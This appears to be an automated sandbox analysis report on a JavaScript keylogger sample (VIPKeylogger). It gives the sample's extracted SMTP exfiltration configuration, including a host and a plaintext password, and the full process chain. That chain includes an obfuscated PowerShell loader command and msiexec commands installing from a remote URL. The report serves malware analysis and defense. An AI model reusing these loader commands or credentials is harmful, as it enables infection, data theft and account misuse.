Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 10:24
General
- Target 321.js
- Size 308KB
- Sample260417-mfcc2sd13z
- SHA256 7170342e404d36eaf353e372204c6380fa5dc08337e900dd74d76e86db54eb5b
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
webmail.ozaydinkimya.com.tr
-
Port
587
-
Username
-
Password
Zyn348492
-
Email to
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 13 IoCs
Network request originating from process or tool commonly abused by malware.
- Use of msiexec (install) with remote resource 3 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\321.js1⤵
- Badlisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$Eksame=($HOME+'/appdata/roaming/Rekapitul232');$Zambis=gc $Eksame;$Pumpen=$Zambis[3013]+$Zambis[3014]+$Zambis[3015]; .($Pumpen) $Zambis"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Eksame=($HOME+'/appdata/roaming/Rekapitul232');$Zambis=gc $Eksame;$Pumpen=$Zambis[3013]+$Zambis[3014]+$Zambis[3015]; .($Pumpen) $Zambis"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_aoy4ih21.b4u.ps1
Grundfors.Dem
Rekapitul232
memory/660-80-0x00000000039E0000-0x0000000003A5A000-memory.dmp
memory/660-78-0x0000000020090000-0x000000002012C000-memory.dmp
memory/660-77-0x0000000000A80000-0x0000000000ACA000-memory.dmp
memory/660-76-0x0000000000A80000-0x0000000001D97000-memory.dmp
memory/660-51-0x0000000000A80000-0x0000000001D97000-memory.dmp
memory/660-52-0x00000000039E0000-0x0000000003A5A000-memory.dmp
memory/1336-44-0x00000000083D0000-0x0000000008A4A000-memory.dmp
memory/1336-41-0x00000000063D0000-0x00000000063EA000-memory.dmp
memory/1336-26-0x0000000005260000-0x000000000588A000-memory.dmp
memory/1336-27-0x00000000050F0000-0x0000000005112000-memory.dmp
memory/1336-28-0x0000000005900000-0x0000000005966000-memory.dmp
memory/1336-29-0x0000000005970000-0x00000000059D6000-memory.dmp
memory/1336-36-0x00000000059E0000-0x0000000005D37000-memory.dmp
memory/1336-47-0x0000000000B20000-0x0000000000B9A000-memory.dmp
memory/1336-38-0x0000000005E90000-0x0000000005EAE000-memory.dmp
memory/1336-39-0x0000000005ED0000-0x0000000005F1C000-memory.dmp
memory/1336-40-0x0000000007150000-0x00000000071E6000-memory.dmp
memory/1336-25-0x0000000002690000-0x00000000026C6000-memory.dmp
memory/1336-42-0x0000000006420000-0x0000000006442000-memory.dmp
memory/1336-43-0x00000000077A0000-0x0000000007D46000-memory.dmp
memory/1336-46-0x0000000008A50000-0x0000000009BC7000-memory.dmp
memory/1832-6-0x0000023EBC540000-0x0000023EBC54C000-memory.dmp
memory/1832-5-0x0000023EBC3F0000-0x0000023EBC49E000-memory.dmp
memory/4728-24-0x0000023D3DBF0000-0x0000023D3DC02000-memory.dmp
memory/4728-23-0x0000023D3C2D0000-0x0000023D3C2DC000-memory.dmp
memory/4728-22-0x0000023D3C120000-0x0000023D3C1CE000-memory.dmp
memory/4728-16-0x0000023D56020000-0x0000023D56030000-memory.dmp
memory/4728-9-0x0000023D561D0000-0x0000023D561F2000-memory.dmp
memory/4728-8-0x0000023D56020000-0x0000023D56030000-memory.dmp
memory/4728-7-0x0000023D56020000-0x0000023D56030000-memory.dmp